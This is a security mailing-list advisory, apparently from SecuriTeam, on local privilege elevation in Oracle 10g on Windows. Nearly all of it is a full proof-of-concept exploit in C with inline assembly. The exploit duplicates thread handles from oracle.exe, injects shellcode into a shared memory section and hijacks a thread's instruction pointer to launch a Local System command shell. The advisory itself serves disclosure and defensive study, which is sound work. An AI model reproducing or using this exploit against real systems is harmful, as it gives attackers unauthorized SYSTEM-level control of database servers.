[EXPL] Oracle 10g Local Privilege Elevation (PROCESS_DUP_HANDLE, WIN32)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



Oracle 10g Local Privilege Elevation (PROCESS_DUP_HANDLE, WIN32)
------------------------------------------------------------------------


SUMMARY

A vulnerability in the Oracle database allows local attackers to preform
privilege escalation.

DETAILS

Exploit:
// Argeniss - Information Security
//
// Oracle Database local elevation of privileges PoC exploit
//
// Author: Cesar Cerrudo

#include <windows.h>
#include <stdio.h>


BOOL InjectShellcode(DWORD oldEIP,CHAR * oSID)
{
HMODULE hKernel;
FARPROC pCreateProc;
LPSTR sCommand="cmd.exe";
DWORD dwStrLen;
CHAR buff[100];

dwStrLen=strlen(sCommand);

hKernel=LoadLibrary("Kernel32.dll");
pCreateProc=GetProcAddress(hKernel,"CreateProcessA");

strcpy(buff, "Global\\*oraspawn_buffer_");
strncat(buff, oSID,50);
strcat(buff, "*");

HANDLE hMapFile = OpenFileMapping(FILE_MAP_WRITE, FALSE,buff);

if (hMapFile == NULL) {
printf("Could not open Shared Section\n\n");
return FALSE;
}
else
printf("Shared Section opened\n");

LPVOID lpMapAddress = MapViewOfFile(hMapFile,
FILE_MAP_WRITE,0,0,0);

printf("Inserting shellcode...\n");

CHAR sWinSta[]="WinSta0\\Default";

//copy shellcode
_asm {

pushad

lea esi, Shellcode
mov edi, lpMapAddress
add edi, 0x500
lea ecx, End
sub ecx, esi
push esi
push edi
cld
rep movsb

pop edi
pop esi
push edi

lea ecx, CommandBuf
sub ecx, esi
add edi, ecx
mov esi, sCommand
mov ecx, dwStrLen
rep movsb
mov [edi], 0x00

pop edi
mov esi, pCreateProc
mov [edi+0x0a], esi

mov esi, oldEIP
mov [edi+0x0e], esi

add edi, 0x2f0
lea esi, sWinSta
mov ecx, 0xf
cld
rep movsb

jmp Done

Shellcode:
jmp Start
// this gets overwritten
mov ax,0xffff
mov ax,0xffff
mov ax,0xffff
mov ax,0xffff

CommandBuf: // this gets overwritten
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
Start:
call getDelta
getDelta:
pop edx // Get shellcode/shared section pointer
pushad

mov eax, edx
add eax, 0x200
push eax //LPPROCESS_INFORMATION
add eax, 0x200
mov ebx, edx
xor bl, bl
lea ecx, [ebx+0x2f0]
lea ebx, [eax+0x8]
mov [ebx], ecx //set windows station and desktop
push eax //LPSTARTUPINFO
push 0x0
push 0x0
push 0x0
push 0x0
push 0x0
push 0x0

lea eax, [edx-0x47]
push eax // Command offset

push 0x0
call [edx-0x4f] // Call create process

popad

push [edx-0x4b] // old thread EIP
ret
End:

Done:
popad
}

return TRUE;

}


int _tmain(int argc, _TCHAR* argv[])
{
HANDLE hSrcHandle=0,hTgtHandle=0,hProcess=0;
BOOL bSuccess=FALSE;
DWORD pid,j;
CHAR * oraSID;
CONTEXT Context;

if(!argv[1]||!argv[2]){
printf("Usage %s Oracle.exe PID SID , example: %s 453
orcl\n",argv[0],argv[0]);
return 0;
}

oraSID= argv[2];
pid=atoi(argv[1]);

printf("\nOpening oracle.exe PID: %d\n",pid);

hProcess=OpenProcess(PROCESS_DUP_HANDLE ,FALSE,pid);
if(!hProcess){
printf("\nCouldn't open oracle.exe process\n");
printf("\nCheck Oracle PID\n");
return 0;
}

//brute force handles to find a thread one
for (j=0x200;j<=0x1000;j+=4){
hSrcHandle=(HANDLE)j;
//get a local handle

if(DuplicateHandle(hProcess,hSrcHandle,GetCurrentProcess(),&hTgtHandle,0,FALSE,DUPLICATE_SAME_ACCESS )){
//if we can suspend it then it's a thread handle
if(SuspendThread(hTgtHandle)==0){
printf("Found thread handle:
0x%x\n",hSrcHandle);
//get thread control registers
Context.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(hTgtHandle, &Context);
//put shellcode on the shared section
if (InjectShellcode(Context.Eip,oraSID)){
printf("Changing thread
context...\n");

//10gR1 section base address
0x04620000 on some systems
//10gR2 section base address
0x048a0000 on some systems
Context.Eip = 0x048a0500; //set
new IP, add 0x500 to not overwrite data already

//in the section, we don't want to crash Oracle service :)

SetThreadContext(hTgtHandle,
&Context); //change context to jump to shellcode
ResumeThread(hTgtHandle);

printf("Running exploit...\n");
bSuccess=TRUE;

Sleep(2000);
}
else
bSuccess=FALSE;

CloseHandle(hTgtHandle);
break;

}
CloseHandle(hTgtHandle);
}
}

if (bSuccess)
printf("\nYou should have a command shell running as Local
System :)\n");
else
{
printf("\nCheck Oracle SID\n");
}

CloseHandle(hProcess);
return 0;
}


ADDITIONAL INFORMATION

The original article can be found at:
<http://www.milw0rm.com/exploits/3451>
http://www.milw0rm.com/exploits/3451



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages